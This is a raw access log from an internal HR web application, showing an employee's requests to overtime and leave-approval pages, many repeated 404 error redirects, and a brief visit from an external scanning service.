/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:33 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:33 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132690%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132690&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132690%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132690&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 19064 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 19064 192.168.139.16 - - [02/Dec/2025:11:30:46 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 5792 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:46 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 5792 192.168.139.16 - - [02/Dec/2025:11:30:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 100.64.0.1 - - [02/Dec/2025:11:31:06 +0800] "GET / HTTP/1.1" 200 439 "-" "cypex.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:11:31:06 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:11:31:26 +0800] "GET / HTTP/1.1" 200 439 "-" "cypex.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:11:31:26 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:11:33:16 +0800] "GET / 